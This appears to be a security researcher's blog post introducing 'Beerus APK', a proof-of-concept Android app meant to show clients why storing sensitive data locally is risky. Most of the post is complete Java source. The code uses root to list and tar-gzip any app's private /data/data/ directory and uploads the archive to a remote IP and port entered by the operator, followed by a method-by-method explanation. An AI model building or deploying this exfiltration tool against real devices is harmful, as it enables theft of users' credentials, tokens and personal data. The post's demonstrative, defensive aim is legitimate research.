Lucas 'luriel' Carmo

Offensive Security Researcher

Penetration Tester

Red Team Operator

Hacking n' Roll

Blog Post

BEERUS.apk - Spotlighting sandbox exfiltration

Dec 30, 2023 Research_and_Development
<center>BEERUS.apk - Spotlighting sandbox exfiltration</center>

Security Risks in Local Data Storage on Mobile Devices

It is widely recognized that information storage poses a security risk, especially in the context of mobile devices. In the analyses conducted by our team, we often observe that developers, even when they have access to cloud storage technologies like Firebase, persist in local storage of information for logging purposes or to control specific functionalities. Such practice can lead to serious security risks, varying according to the scenario.

The Most Frequent Vulnerability

In our projects, this type of vulnerability is the most frequently identified. Often, clients ask, “Why is there a risk if the data is stored on the client side of the device?”. The answer is that, even in this context, there are applications with functionalities of RATs (Remote Access Trojans). These can extract information from the device to a designated server, compiling a database with personal details like name, address, email, token, password, etc.

Physical Device Threats

Another risk is the theft or robbery of the user’s physical device. Suppose an attacker gains access to the smartphone. In that case, various methods can be employed to elevate permissions to the Root level, initializing the process with brute force attacks to unlock the PIN, use of exploits, or recovering the access via SMS, followed by installing Magisk and TWRP, allowing unrestricted access to the data.

Importance of Secure Storage Practices

These examples illustrate the importance of not storing confidential data locally. To clarify this issue in a didactic manner for our clients, we dedicate time to developing research and a tool that demonstrates this proof of concept in a practical and evident way. We believe that publishing to the community will help people understand the risks of this type of vulnerability and get a better PoC in the assessments.

Attacks that use the mentioned approach:

- Trend Micro Report on Mobile Malware Suite

- Kaspersky Report on HackingTeam

- The Hacker News on Transparent Tribe

The indicated articles highlight the complexity and depth and demonstrate how dense the addressed topic can be. Knowing that it is one of the most identified vulnerabilities and that there is a degree of difficulty in explaining why it is dangerous to store these data, we have developed Beerus APK, a tool specifically designed to operate within the Android sandbox environment. To function correctly, Beerus APK requires root permissions, an intentional decision to facilitate the creation of a compelling proof of concept.

BEERUS APK: A Tool for Demonstrating Data Vulnerability

The main objective of Beerus APK is to exfiltrate packages located in the /data/data/ directory. As demonstrated in various studies and articles, data exfiltration can occur through different paths within a smartphone, and some do not require a high level of permission. Currently, we are developing updates that will expand the capabilities of BEERUS APK. One of the features is the option to choose the path or file for data exfiltration precisely. This new feature will allow the application to not only be limited to the sandbox path but also explore other areas of the Android operating system.

Show me the code:

Two files are responsible for the app’s operation, which are: MainActivity.java and FileZipper.java.

MainActivity.java

public class MainActivity extends AppCompatActivity {

    private FileListAdapter adapter;
    private String selectedItem;


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        RecyclerView recyclerView = findViewById(R.id.recycler_view);
        recyclerView.setLayoutManager(new LinearLayoutManager(this));

        List<String> fileNames = listFilesInDataData();

        if (android.os.Build.VERSION.SDK_INT > 8)
        {
            StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
            StrictMode.setThreadPolicy(policy);
        }


        FileListAdapter.OnItemClickListener listener = new FileListAdapter.OnItemClickListener() {
            @Override
            public void onItemClick(String item) {
                // Toast.makeText(MainActivity.this, "Selected: " + item, Toast.LENGTH_SHORT).show();
                selectedItem = item;
            }

        };

        adapter = new FileListAdapter(fileNames, listener);
        recyclerView.setAdapter(adapter);

        SearchView searchView = findViewById(R.id.search_view);
        searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() {
            @Override
            public boolean onQueryTextSubmit(String query) {
                return false;
            }

            @Override
            public boolean onQueryTextChange(String newText) {
                adapter.getFilter().filter(newText);
                return false;
            }
        });
    }

    public void sendZip(View view) {
        TextView ipAddressView = findViewById(R.id.editIpAddress);
        TextView portNumberView = findViewById(R.id.editPort);

        String ipAddress = ipAddressView.getText().toString().trim();
        String portString = portNumberView.getText().toString().trim();

        if (!isValidIpAddress(ipAddress)) {
            Toast.makeText(this, "Invalid IP ADDRESS", Toast.LENGTH_LONG).show();
            return;
        }

        int portNumber;
        try {
            portNumber = Integer.parseInt(portString);
            if (portNumber < 0 || portNumber > 65535) {
                throw new NumberFormatException();
            }
        } catch (NumberFormatException e) {
            Toast.makeText(this, "Invalid PORT", Toast.LENGTH_LONG).show();
            return;
        }

        new Thread(new Runnable() {
            @Override
            public void run() {
                FileZipper.main(new String[]{selectedItem, ipAddress, portString});
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Toast.makeText(MainActivity.this, "Package sent to VPS", Toast.LENGTH_LONG).show();
                    }
                });
            }
        }).start();
    }

    private boolean isValidIpAddress(String ipAddress) {
        try {
            if (ipAddress == null || ipAddress.isEmpty()) {
                return false;
            }
            String[] parts = ipAddress.split("\\.");
            if (parts.length != 4) {
                return false;
            }
            for (String s : parts) {
                int i = Integer.parseInt(s);
                if ((i < 0) || (i > 255)) {
                    return false;
                }
            }
            if (ipAddress.endsWith(".")) {
                return false;
            }
            return true;
        } catch (NumberFormatException nfe) {
            return false;
        }
    }

    private List<String> listFilesInDataData() {
        List<String> filesList = new ArrayList<>();
        try {
            Process process = Runtime.getRuntime().exec("su");
            DataOutputStream outputStream = new DataOutputStream(process.getOutputStream());
            outputStream.writeBytes("ls /data/data/\n");
            outputStream.writeBytes("exit\n");
            outputStream.flush();
            process.waitFor();

            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                filesList.add(line);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return filesList;
    }

    public static class FileListAdapter extends RecyclerView.Adapter<FileListAdapter.ViewHolder> implements Filterable {

        private List<String> data;
        private List<String> filteredData;
        private OnItemClickListener listener;

        public int selectedPosition = -1; // Variable to track the selected position

        public interface OnItemClickListener {
            void onItemClick(String item);
        }

        public FileListAdapter(List<String> data, OnItemClickListener listener) {
            this.data = data;
            this.filteredData = new ArrayList<>(data); // Initialize filteredData with data
            this.listener = listener;
        }

        @NonNull
        @Override
        public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
            View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.recycler_item_radio, parent, false);
            return new ViewHolder(view);
        }

        @Override
        public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
            String item = filteredData.get(position);
            holder.textView.setText(item);

            // Set the radio button state based on the current selection
            holder.radioBtn.setChecked(position == selectedPosition);

            // Define a click listener for the itemView and radio button
            View.OnClickListener clickListener = new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    // Use holder.getAdapterPosition() instead of the position parameter
                    int adapterPosition = holder.getAdapterPosition();

                    // Check for NO_POSITION
                    if (adapterPosition == RecyclerView.NO_POSITION) return;

                    if (selectedPosition != adapterPosition) {
                        selectedPosition = adapterPosition;
                    } else {
                        selectedPosition = -1; // Deselect if the same item is clicked again
                    }
                    notifyDataSetChanged(); // Refresh the list to update radio button states

                    listener.onItemClick(filteredData.get(adapterPosition)); // Use the correct position to get the item
                }
            };

            // Set the same click listener to both itemView and radio button
            holder.itemView.setOnClickListener(clickListener);
            holder.radioBtn.setOnClickListener(clickListener);
        }

        @Override
        public int getItemCount() {
            return filteredData.size();
        }

        @Override
        public Filter getFilter() {
            return new Filter() {
                @Override
                protected FilterResults performFiltering(CharSequence constraint) {
                    List<String> filteredResults = new ArrayList<>();
                    if (constraint == null || constraint.length() == 0) {
                        filteredResults.addAll(data);
                    } else {
                        String filterPattern = constraint.toString().toLowerCase().trim();
                        for (String item : data) {
                            if (item.toLowerCase().contains(filterPattern)) {
                                filteredResults.add(item);
                            }
                        }
                    }

                    FilterResults results = new FilterResults();
                    results.values = filteredResults;
                    return results;
                }

                @SuppressWarnings("unchecked")
                @Override
                protected void publishResults(CharSequence constraint, FilterResults results) {
                    filteredData.clear();
                    filteredData.addAll((List<String>) results.values);
                    notifyDataSetChanged();
                    selectedPosition = -1; // Reset selected position on filter change
                }
            };
        }

        public static class ViewHolder extends RecyclerView.ViewHolder {
            TextView textView;
            RadioButton radioBtn;

            ViewHolder(View itemView) {
                super(itemView);
                textView = itemView.findViewById(R.id.text_view); // Ensure this ID matches with your recycler_item_radio.xml
                radioBtn = itemView.findViewById(R.id.radio_button);
            }
        }
    }

}

Class Declaration and Variables

MainActivity Class

The class MainActivity extends AppCompatActivity, indicating it’s an activity class.

Variables

  • adapter: of type FileListAdapter
  • selectedItem: String

onCreate Method (Lines 5-49)

  • Initializes the activity, sets the content view to activity_main.
  • Creates and configures a RecyclerView for listing items.
  • Implements code to list files in the app’s data directory.
  • Handles Android’s strict mode policy for thread policy.
  • Sets up an OnItemClickListener for FileListAdapter.
  • Initializes FileListAdapter and sets it to the RecyclerView.
  • Implements a SearchView to filter the list based on user input.

sendZip Method (Lines 50-81)

  • Triggered when a specific view is clicked (presumably a button).
  • Gets IP address and port number from TextViews.
  • Validates the IP address and port number, displays errors using Toast if they are invalid.
  • Starts a new thread to send a zip file to a server using the FileZipper class.

isValidIpAddress Method (Lines 82-100)

  • Validates the given IP address string.

listFilesInDataData Method (Lines 101-122)

  • Lists files in the /data/data directory of the device.
  • Uses a Process to execute shell commands.

Inner Class FileListAdapter (Lines 123-207)

  • An adapter class for the RecyclerView, which extends RecyclerView.Adapter and implements Filterable.
  • Contains a custom OnItemClickListener interface and methods for binding and filtering data.
Inner Class ViewHolder within FileListAdapter (Lines 196-207)
  • Holds the view for each item in the RecyclerView.

FileZipper.java

public class FileZipper {

    public static void main(String[] args) {
        String sourceFolderPath = "/data/data/" + args[0];
        String serverUrl = "http://"+args[1]+":"+args[2]+"/upload";
        String zipFilePath = "/data/local/tmp/" + args[0];
        String timeStamp = String.valueOf(new java.util.Date().getTime());
        String tarGzFilePath = zipFilePath+"_"+timeStamp+".tar.gz";

        try {
            Process process = Runtime.getRuntime().exec("su");
            DataOutputStream outputStream = new DataOutputStream(process.getOutputStream());
            outputStream.writeBytes("tar -czf "+tarGzFilePath+" "+sourceFolderPath+"\n");
            outputStream.writeBytes("chmod 777 "+tarGzFilePath+"\n");
            outputStream.writeBytes("exit\n");
            outputStream.flush();
            process.waitFor();

            File file = new File(tarGzFilePath);
            sendFileToServer(file, serverUrl);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static void sendFileToServer(File file, String serverUrl) throws IOException {
        URL url = new URL(serverUrl);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        String boundary = UUID.randomUUID().toString();

        connection.setRequestMethod("POST");
        connection.setDoOutput(true);
        connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

        try (DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());
             FileInputStream fileInputStream = new FileInputStream(file)) {

            outputStream.writeBytes("--" + boundary + "\r\n");
            outputStream.writeBytes("Content-Disposition: form-data; name=\"file\"; filename=\"" + file.getName() + "\"\r\n");
            outputStream.writeBytes("Content-Type: application/x-gzip\r\n\r\n");

            byte[] buffer = new byte[4096];
            int bytesRead;
            while ((bytesRead = fileInputStream.read(buffer)) != -1) {
                outputStream.write(buffer, 0, bytesRead);
            }

            outputStream.writeBytes("\r\n");
            outputStream.writeBytes("--" + boundary + "--\r\n");

            outputStream.flush();

            int responseCode = connection.getResponseCode();
            if (responseCode == HttpURLConnection.HTTP_OK) {
                System.out.println("File sent successfully");
            } else {
                System.err.println("Failed to send the file. Response Code: " + responseCode);
            }
        } finally {
            connection.disconnect();
        }
    }
}

Class Declaration

A public class containing static methods for file compression and network operations.

main Method (Lines 1-23)

  • Takes command-line arguments to specify the source folder, server URL, and other parameters.
  • Constructs paths for the source folder, destination ZIP file, and server URL.
  • Uses a Process to execute shell commands for compressing the folder into a .tar.gz file.
  • Changes permissions of the compressed file to 777 (read, write, execute for all users).
  • Calls sendFileToServer to upload the compressed file to a specified server URL.
  • Handles exceptions and prints stack traces in case of errors.

sendFileToServer Method (Lines 24-50)

  • Accepts a File object and a server URL string as parameters.
  • Opens an HTTP connection to the server URL for file upload.
  • Sets up a POST request with multipart/form-data type for file uploading.
  • Writes the file data to the server using a DataOutputStream.
  • Reads the file in chunks and sends it to the server.
  • Checks the server’s response code to determine if the file upload was successful or not.
  • Handles IOException and ensures the HTTP connection is closed in a finally block.

Conclusion

In conclusion, the development and utilization of Beerus APK serve as a Proof-of-Concept tool, shedding light on the vulnerabilities associated with local data storage on mobile devices. Demonstrating the ease of data exfiltration underlines the imperative need for developers and users to adopt more secure data handling practices.

Until our paths cross again, may we always excel in the luminous realm of hacking!